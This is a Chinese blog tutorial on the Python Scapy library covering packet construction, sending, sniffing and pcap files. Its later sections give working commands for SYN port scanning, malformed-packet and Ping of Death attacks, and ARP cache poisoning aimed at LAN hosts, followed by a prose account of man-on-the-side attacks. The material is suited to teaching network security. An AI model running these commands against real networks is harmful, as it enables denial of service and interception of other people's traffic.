python scapy是什么_我们可以拿 scapy 做什么

记得当初学习计算机网络的时候,在机房用得比较多的是老旧的 sniffer,自己动手的时候用的比较多的是 wireshark。后面做 Web 开发的时候,用 Fiddler 比较顺手,也比较轻便,满足日常开发的需求。当然熟练的话也可以直接用 tcpdump 之类的工具。后面在用 Python 做安全方面的内容的时候,发现了 Scapy 这么一个强大的嗅探库(不是爬虫框架 Scrapy),支持 Py2 和 Py3,而且在 QPython 上也集成了。这个还真的是利器啊!

什么是 Scapy

Scapy 官网 上一开始就是对着自家的程序一通吹,如“强大的交互式包操作工具”、“支持大量协议的包解析和包构造”、“轻松取代 hping,85% 的 nmap,arpspoof,tcpdump 等等”。不过归根到底,它说的强大功能,都是基于Scapy 是一个强大的网络数据包操作工具才能实现得了的。

安装 Scapy

Scapy 有 1.2 和 2.x 两种版本,前者据文档介绍已经是弃用状态了。因为这个库比较依赖 *nix 系统的 libpcap、libdnet 等库,因此在 Linux、BSD、Mac OS X 上可以简单的使用 pip install scapy 就能安装 Scapy(当然文档还会说明如何从 git 上获取最新版本的 Scapy)。对于 Windows 系统,会稍微麻烦一点,要先安装最新版的 Npcap,当然在 Winpcap 下也是可以运行的(这个如果你装过 Fiddler 按推荐步骤应该是连带安装了的,不过需要注意),然后也是一样通过 pip 工具安装 Scapy。

安装完成后,在 Python 交互式界面输入:

1>>>from scapy.all import *

没有报错,证明安装成功(v1.2 版本使用 from scapy import *)

Scapy 也是可以直接运行的,安装成功后在命令行或 shell 运行 scapy 会进入到 Scapy 的交互式界面。前面部分信息会提示当前环境不可以使用什么功能,如希望使用 plot 需要 matplotlib,使用 psdump 或 pdfdump 需要 PyX 等。

Scapy 使用基础

构造数据包1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16>>>from scapy.all import *

>>>ip_package = IP(dst='www.163.com', ttl=80)

>>>ip_package.src

'10.0.3.173'

>>>ip_package.dst

Net('www.163.com')

>>>ip_package.ttl

80

# 显示 raw layer

>>>raw_package = raw(ip_package)

>>>raw_package

b'E\x00\x00\x14\x00\x01\x00\x00P\x00\x19\x92\n\x00\x03\xad}Y\xc6Q'

# 显示以太网信息

>>>ether = Ether(raw_pacakge)

>>>ether

>

如上所示,我们构造了一个目标地址为 163.com 的,生存周期为 80 的一个 IP 数据包,并打印出其信息

除了 IP 协议,Scapy 还支持多种协议类型的包数据,而且这些包的数据还可以通过 / 来进行组合,下层可以根据上层重载他的一个或多个默认字段。组合的层次顺序参照 OSI 标准模型,如:

1

2

3>>>package = IP(dst='www.163.com')/TCP(dport=80)/"GET / HTTP/1.1\r\n\r\n"

>>>package

>>

这里组合了 IP 层、TCP 层以及 HTTP 层级的包(HTTP 报头 约定以 \r\n\r\n 结尾)。

构造多个数据包

上面我们仅仅是构造了一个数据包,那么如何用 Scapy 构造多个数据报呢?对于包数据(甚至是每一层)的每个字段都可以赋值集合,显式指定集合可以生成对应的每一个字段元素对应的包:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25# 指定掩码

>>>a=IP(dst="www.slashdot.org/30")

>>>a

>>>[p for p in a]

[, ,

, ]

# 指定生命周期

>>>b=IP(ttl=[1,2,(5,9)])

>>>b

>>>[p for p in b]

[, , , ,

, , ]

# 指定目标端口

>>>c=TCP(dport=[80,443])

>>>[p for p in a/c]

[>,

>,

>,

>,

>,

>,

>,

>]

fuzz() 函数

函数 fuzz 可以根据模板快速构造数据包,同时会保证其他参数是正确的,文档的例子:

1>>>IP(dst="www.bing.com")/fuzz(UDP()/NTP(version=4))

在这个包里面,IP 层是指定了 dst(注意 fuzz 对于 IP 层也可以使用,但是 src 和 dst 不能是随机的必须指定),而 UDP 和 NTP 层是 fuzz 的。因此这个包在 IP 层之上除了检验和以及 UDP 端口为 123(NTP 协议规定)之外,其他的字段都是随机的。

批量操作数据包

Scapy 也提供了一些方法来操作一组数据包,如下表所示:

方法

说明

summary()

显式每一个数据包的摘要列表

nsummary()

同上,可以指定数据包的数量

filter()

返回一个 lambda 过滤后的数据包列表

hexdump()

以 hexdump 的形式显示全部数据包

hexraw()

以 hexdump 的形式显示全部数据包的 Raw Layer

padding()

以填充 hexdump 的形式返回全部数据包

nzpadding()

以非零填充 hexdump 的形式返回全部数据包

发送数据包

Scapy 提供了两个函数来发送数据包:send() 以及 sendp()。send() 作用于第三层也就是网络层,也就是说它会帮你处理掉路由以及下面两层(即物理层和链路层)。当然你可以使用 sendp() 作用于第二层,这需要你指定恰当的 interface 以及恰当的链路协议。当指定管关键字参数 return_packets 为 True 是会返回发送的包列表。

1

2

3

4

5

6

7

8>>>send(IP(dst="www.baidu.com")/TCP(dport=80), return_packets=True)

.

Sent 1 packets.

# 注意 Window 因为用了 Npcap 作为中间组件,所以基本上指定的 iface 都是 Npcap Loopback Adapter

>>>sendp("Hello World", iface="Npcap Loopback Adapter", loop=1, inter=0.2)

............................................................................................................

Sent 40 packets.

发送并接收数据包(sr)

sr 函数负责发送数据包并接收应答,返回值是一对数据包以及其应答,还包括没有被应答的数据包,所以一共有两个列表。

sr1 函数是上面的一个变种,只返回一个应答数据包列表。这些发送的数据包必须位于第三层之上(IP、ARP 等等)。

srp 函数和 sr 类似,但是作用于第二层之上(Ethernet, 802.3 等等),如果没有任何相应,则当到达超时时间的时候将得到一个 None 的值。

1

2

3

4

5

6

7

8

9

10# 给 baidu.com 发送 tcp 报文

>>>ans, unans = sr(IP(dst="www.baidu.com")/TCP(dport=[80, 443]),inter=0.5,retry=-2,timeout=1)

Begin emission:

.*.........*Finished sending 2 packets.

Received 12 packets, got 2 answers, remaining 0 packets

>>>ans

>>>unans

导出导入 PCAP 文件

Scapy 可以读取 pcap 文件以及往 pcap 文件写入包数据

1

2

3

4

5>>>a = rdpcap("/spare/captures/isakmp.cap")

>>>a

# 或者

>>>a = sniff(offline="isakmp.cap")

1>>>wrpcap("temp.cap", pkts)

使用 Scapy 进行嗅探

使用 Scapy 进行嗅探操作,最核心的函数即是 sniff。它有一些常用的入参,如下表所示:

参数

说明

count

需要捕获的包的个数,0 代表无限

store

是否需要存储捕获到的包

filter

指定嗅探规则过滤,遵循 BPF (伯克利封包过滤器)

timeout

指定超时时间

iface

指定嗅探的网络接口或网络接口列表,默认为 None,即在所有网络接口上嗅探

prn

传入一个可调用对象,将会应用到每个捕获到的数据包上,如果有返回值,那么它不会显示

offline

从 pcap 文件读取包数据而不是通过嗅探的方式获得

1

2

3

4

5

6

7

8# 嗅探实例

>>>sniff(filter="tcp and port 80 and target www.acfun.cn", count=3)

>>>a = _

>>>a.nsummary()

0000 Ether / IP / TCP 10.0.3.173:62061 > 202.105.176.96:https A / Raw

0001 Ether / IP / TCP 202.105.176.96:https > 10.0.3.173:62061 A

0002 Ether / IP / TCP 10.0.3.173:57087 > 59.110.88.58:https PA / Raw

Scapy 使用实例

获取本机 IP 信息

一般网上给出的都是 socket 的方式,先获取计算机名,再根据计算机名获取 host 地址(即 IP 地址),现在使用 Scapy 可以直接构造 IP 数据包并获取其 src 的方式得到:

1

2>>>a = IP(dst="www.baidu.com")

>>>a.src

至于在 Windows 上需要知道自己具体的网卡信息以填入 iface 中,因此可以使用 show_interfaces() 函数获得。更多的内置函数可以通过 lsc() 函数查看。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35>>>lsc()

IPID_count : Identify IP id values classes in a list of packets

arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple

arping : Send ARP who-has requests to determine which hosts are up

bind_layers : Bind 2 layers on some specific fields' values

bridge_and_sniff : Forward traffic between interfaces if1 and if2, sniff and return

chexdump : Build a per byte hexadecimal representation

computeNIGroupAddr : Compute the NI group Address. Can take a FQDN as input parameter

corrupt_bits : Flip a given percentage or number of bits from a string

corrupt_bytes : Corrupt a given percentage or number of bytes from a string

defrag : defrag(plist) -> ([not fragmented], [defragmented],

defragment : defrag(plist) -> plist defragmented as much as possible

dhcp_request : --

dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"

dyndns_del : Send a DNS delete message to a nameserver for "name"

etherleak : Exploit Etherleak flaw

fletcher16_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.

fletcher16_checksum : Calculates Fletcher-16 checksum of the given buffer.

fragleak : --

fragleak2 : --

fragment : Fragment a big IP datagram

fuzz : Transform a layer into a fuzzy layer by replacing some default values by random objects

getmacbyip : Return MAC address corresponding to a given IP address

getmacbyip6 : Returns the MAC address corresponding to an IPv6 address

hexdiff : Show differences between 2 binary strings

hexdump : Build a tcpdump like hexadecimal view

hexedit : --

hexstr : --

import_hexcap : --

is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip.

linehexdump : Build an equivalent view of hexdump() on a single line

ls : List available layers, or infos on a given layer class or name

neighsol : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr

...

ARP 主机发现

使用 ARP Ping 是在本地以太网内发现主机的最快的方法:

1

2

3

4>>>ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.3.0/24"), timeout=2)

# 也可以使用内置的 arp ping 方法

>>>arping("10.0.3.*")

基于 TCP 的端口扫描

给每个端口发送 TCP SYN 包,如果收到 SYN-ACK 包或 TCP RST 复位包或者 ICMP 错误,证明端口存在。

1

2

3>>>res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", dport=(1,1024)) )

# 查看结果

>>>res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP))

Scapy 文档后面也提到过了对于一些防火墙会把没有 TCP 时间戳的包丢弃,所以我们需要加上其他选项

1>>>res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", options=[('Timestamp', (0, 0))], dport=(1,1024)) )

TCP 路由跟踪(TCP traceroute)

我们可以自行通过 sr 发送构造的 TCP 数据包来做 TCP 路由跟踪

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17>>>ans, unans = sr(IP(dst="www.baidu.com", ttl=(4, 25), id=RandShort())/TCP(flags=0x2))

Begin emission:

..Finished sending 22 packets.

.....*...*.......*.**..***..*.**.******.........

Received 50 packets, got 17 answers, remaining 5 packets

>>>for snd, rcv in ans:

... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))

...

4 183.56.31.29 False

5 59.37.176.153 False

6 14.215.177.39 True

7 14.215.177.39 True

8 113.96.4.106 False

9 14.215.177.39 True

...

20 14.215.177.39 True

>>>

实际上 TCP Traceroute 已经提供了一个单独的函数来实现:

1

2

3

4

5

6

7

8

9

10

11

12

13>>>traceroute("www.baidu.com")

Begin emission:

Finished sending 30 packets.

**********************

Received 22 packets, got 22 answers, remaining 8 packets

14.215.177.39:tcp80

2 10.1.1.1 11

3 183.56.30.209 11

7 113.96.4.102 11

12 14.215.177.39 SA

...

30 14.215.177.39 SA

(, )

DNS 跟踪

出自 Scapy 的文档说明,直接在 traceroute 函数设置 l4 参数作为一个完整的数据包来实现:

1

2

3

4

5

6

7

8

9

10

11

12>>>ans, unans = traceroute("www.baidu.com", l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))

Begin emission:

Finished sending 30 packets.

..*.*...***..*..................................

Received 48 packets, got 6 answers, remaining 24 packets

14.215.177.38:udp53

2 10.1.1.1 11

3 183.56.30.209 11

4 183.56.31.29 11

5 59.37.176.153 11

6 183.56.34.33 11

7 113.96.4.78 11

畸形报文攻击

畸形报文攻击是通过向目标系统发送有缺陷的IP报文,使得目标系统在处理这样的 IP 包时会出现崩溃,给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop 等。如下所示生成一个畸形报文:

1>>>send(IP(dst="10.0.3.234", ihl=2, version=3)/ICMP())

如下构造 Ping of Death:

1>>>send(fragment(IP(dst="10.0.3.234")/ICMP()/("X"*60000)))

Ping of Death 俗称 “死拼”,其攻击原理是攻击者 A 向受害者 B 发送一些尺寸超大的 ICMP (Ping 命令使用的是 ICMP 报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。由于 IP 报文的最大长度是 216-1=65535 个字节,那么去除 IP 首部的 20 个字节和 ICMP 首部的 8 个字节,实际数据部分长度最大为:65535-20-8=65507 个字节。所谓的尺寸超大的 ICMP 报文就是指数据部分长度超过 65507 个字节的 ICMP 报文。而且由于 IP 报文会分片,单片报文一般不超过显示,实际上会到达目的机器后才会重组导致报文过大。

ARP Cache 投毒

ARP 协议的工作方式

ARP 协议负责通过 IP 地址找到 MAC 地址,在以太网中所使用的地址是 MAC 地址。它的工作方式如下:

一台机器 A 想知道拥有 10.0.2.105 这个 IP 地址的主机并进行通信,因此机器 A 向所在网段的所有机器发送过一个广播包,询问谁的 IP 是 “10.0.2.105”。正常情况下其他机器会忽略这个消息,只有 10.0.2.105 IP 的主机会响应,返回自己的 MAC 地址。然后机器 A 把对应的 IP 地址和 MAC 地址缓存到 ARP 缓存表,下次直接查询这个表而不发送 ARP 请求(Windows 下 ARP 缓存表可以用 arp -a 查看)。

如何实现

ARP 缓存投毒,又称作 ARP 欺骗,是非常常用的一种攻击手段,一般用在中间人攻击里面,将攻击方伪装成网关(即网关的 IP 地址对应攻击方的 MAC 地址)。使用 Scapy 可以简洁地实现 ARP Cache 投毒。

1

2

3

4

5

6

7

8

9

10# 先获取任意已知主机的 MAC 地址

>>>mac = ARP(pdst="10.0.3.1") # 或 getmacbyip("10.0.3.1")

>>>mac.hwsrc # 0c:da:41:61:f3:67

>>>mac1 = sr1(ARP(pdst="10.0.3.234")) # 或 getmacbyip("10.0.3.234")

>>>mac1.hwsrc # 94:65:2d:2a:10:ad

# 本机的 MAC 地址可以查看 ipconfig 得到:68:ec:c5:ce:21:fb

# 欺骗 10.0.3.234 主机,误以为本机(10.0.3.173)是网关(10.0.3.1)

>>>sendp(Ether(dst="94:65:2d:2a:10:ad")/ARP(op="is-at", psrc="10.0.3.1", pdst="10.0.3.234"), inter=RandNum(10, 40), loop=1) # op is-at 代表 arp 应答包, who-has 代表 arp 请求包

# 欺骗网关 10.0.3.1,误以为本机(10.0.3.173)才是 10.0.3.234 主机

>>>srploop(Ether(dst="0c:da:41:61:f3:67")/ARP(op=2, psrc="10.0.3.234", hwsrc="68:ec:c5:ce:21:fb", pdst="10.0.3.1"))

实际上 Scapy 也提供了封装好的方法来实现 ARP 缓存投毒:

1

2

3# 效果和上述例子一样

>>>arpcachepoison("10.0.3.234","10.0.3.1", interval=2)

# 分别指定投毒的目标地址 target,还有要伪装的地址 victim,以及发送的间隔时间

MOTS 攻击

在 FreeBuf 里有关于 MOTS(Man-on-the-Side)的具体介绍,在这里仅简述一下信息:

Man-on-the-side 攻击是攻击者监听通信信道利用时间差注入新数据。它有两个特征:

攻击者能够读取流量信息并插入新消息,但是不会修改或删除通信方发送的消息。

当受害者发出请求时,攻击者利用时间优势让自己发送的响应先于合法的响应到达受害者。

这些在 MOTS 中注入的数据包之所以难以被检测,因为除了应用层的数据之外,一般都会带有 TCP FIN 标志位,客户端(受害者)得到这个数据包的时候,除了解析应用层的数据外,还会关闭 TCP 套接字并返回 FIN+ACK 作为应答,这样实际的包到达的时候会发现 TCP 套接字早就被关闭了。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值